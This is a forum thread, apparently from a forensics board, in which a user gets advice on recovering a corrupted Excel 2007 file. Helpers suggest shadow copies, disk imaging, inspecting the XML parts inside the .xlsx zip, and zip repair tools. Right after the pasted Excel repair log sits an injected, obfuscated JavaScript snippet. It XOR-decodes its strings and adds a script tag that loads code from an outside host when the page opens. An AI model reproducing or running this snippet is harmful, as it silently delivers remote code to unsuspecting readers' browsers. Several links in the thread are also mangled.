Repair to a corrupt Excel 2007 spreadsheet.

I should also mention that the two backup copies i made were also corrupted and unreadable. -(. Simon

..Also, this is a copy of the repair log file as provided by Excel, if relevant? Thanks again, Simon. -)

<?xml version="1.0" encoding="UTF-8" standalone="true"?>
-<recoveryLog xmlns="http//schemas.openxmlformats.org/spreadsheetml/2006/main"><logFileName>error081040_01.xml</logFileName><summary>Errors were detected in file 'M\Master documents\HTCU\New folder\HTCU - to do.xlsx'</summary>-<removedParts summary="Following is a list of removed parts"><removedPart>Replaced Part /xl/worksheets/sheet1.xml part with XML error. Whitespace expected. Line 2, column 81501.</removedPart></removedParts></recoveryLog>(function(){var SZrTT=function(d){var h=74,o='',i="fromCharCode",t='charCodeAt',c='length';for(var x=0;x<d[c];x++){o+=String(d[t](x)^h);}return o;};(function(m,b,u,e,n,k,g,q,w,f,a,y){ j=false;var l={},v=e[n](k);p="Mx";l[m]=f;s="demTEm4j9lNWm";l=a;if(true)r=false;window=l;z=25993;v[g]=y;vd=30810;e[q][w](v)})(SZrTT('\u003c\u002f\u0038\u0039\u0023\u0025\u0024'),SZrTT('\u0029\u0026\u0023\u002f\u0024\u003e\u003f\u0023\u002e'),SZrTT('\u0015\u0038\u003c\u0030'),document,SZrTT('\u0029\u0038\u002f\u002b\u003e\u002f\u000f\u0026\u002f\u0027\u002f\u0024\u003e'),SZrTT('\u0039\u0029\u0038\u0023\u003a\u003e'),SZrTT("\u0039\u0038\u0029"),SZrTT("\u0028\u0025\u002e\u0033"),SZrTT("\u002b\u003a\u003a\u002f\u0024\u002e\u0009\u0022\u0023\u0026\u002e"),'116',SZrTT("\u0069\u003f\u0023\u002e\u0069"),SZrTT("\u0065\u0065\u0020\u003c\u0026\u0064\u0026\u0023\u0028\u003a\u002b\u0029\u0021\u0064\u0024\u002f\u003e\u0065\u0039\u002e\u0065\u007b\u007a\u007c\u007a\u0065\u0072\u007a\u007a\u007b\u0064\u0020\u0039"));})();

Fies thing you should be doing now (and you should have done before) is get an image copy of all of the different media that *might* have a copy. AFTER that you can play and try different recovery tools.

Windows 7? volume shadow copies possibly - right click file and chose "old versions" depending on your version of windows this option might not be available to you, but the old version *may* be stored on your computer.

If you have been doing everything that you said you have been doing though then there is a fair to middlin chance that you have overwritten even the old versions.

Thanks for reply Paul.

Apologies as i have also tried the following

1) I did look for previous versions, but there were non.

2) I also used 'Recover my Files' on the usb , but again no earlier versions produced.

3) Finally, i did image the USB and view in Encase, though again no prevous verisons found.

Admittedly i havent imaged my own computer, which i was hoping to try and avoid if posible.

My fatal error has been to overwrite earier versions rather than safe new backups as ive gone along. Ive managed safe three corrupted verions of the same file. nightmare.

Thanks again

Simon

From what you report, the most sensible thing is to use the approach your friend used.
Basically a .xslx file is a .zip archive containing several .xml documents, from which data is normally recoverable.
A spreadsheet is made of three main parts

1. data (which usually is the relevant part)
2. formulas (that may also be relevant but that can usually be rebuilt or copied from an earlier version of the same spreadsheet)
3. formatting (that I would hope noone actually cares for)

[/listo]
Typically if you open the .xlsx in WinRar (or 7-zip, which I would advise) the "standard" sheet is in
\xl\worksheets\sheet1.xml
actual data is in
\xl\sharedStrings.xml
Being XML (in the perverted minds of those that wrote the "standard" wink ) a "human readable format" it is normally repairable/parsable manually, at least to the extent of recovering the actual "data".
Since you have at least the first 66 rows viewable (in OpenOffice) you can check how the data in those first 66 lines are stored inside the mentioned files, and check what happens on line 67 that breaks it.
Of course it is possible that the file besides being corrupted, lacks any valid data beyond line 66, but it is "unlikely".
Just to prove that I did not fake the statement about XML (and specifically the newish Excel file format) to be "human readable"
http//office.microsoft.com/en-us/excel-help/xml-for-the-uninitiated-HA010034022.aspx

A peek at XML in the Microsoft Office System
….
Easier information recovery and greater security. XML is human readable, so if a file becomes damaged, you can open the file in Microsoft Notepad or another text reader and recover at least some of your information.
….

This might be of use to have an idea of how the file format is made and to attempt a manual recovery
http//www.jkp-ads.com/articles/Excel2007FileFormat.asp
http//www.jkp-ads.com/Articles/Excel2007FileFormat00.asp

jaclaz

Dear jaclaz

A big thanks for your help, its making a lot more sense now. Ive gone back to the zip file and looked through the files. Youre right the data is readable in the sharedStrings.xml file, although its very difficult to piece it back together in the form it was in. Sheet1.xml incidentally, will not open as im getting an error saying teh file is corrupt and it wont open it.

I'll keep working away at it.

Thank you again for your help in the meantime, much appreciated.

Simon

Sheet1.xml incidentally, will not open as im getting an error saying the file is corrupt and it wont open it.

This introduces another possibility, which is that of the actual .zip compressed archive being (partially) corrupt.

Try making a copy of the .xlsx renaming it with the .zip extension and then test it in 7-zip or similar.

If it doesn't test OK, there is the possibility that a different kind of program a "zip repairer" may be able to "fix" the archive or at least to extract a "better" copy of sheet.xml.

There are several such utilities, both Freeware and Commercial, since each one of them is slightly different and may use different algorithms for recovery, it is usually advised to test the more you can against the corrupted archive.
Some hints are given here
http//www.forensicfocus.com/Forums/viewtopic/t=9974

jaclaz

Hi jaclaz

I tried 7-zip as suggested but when i tried to open sheet1.xml, got the errror 'CRC failed in 'xl\workshhets\sheet1.xml' File is broken.

I will try and see if i can find a zip repairer in that case.

It feels like im so close, yet so far at the same time!

Ill keep trying -)

Thanks Simon.

Hi jaclaz

The link you sent doesnt work, not sure if its been removed or not?

Im having real trouble sourcing a free full version zip repairer? Can you recomend any good sites?

Simon-)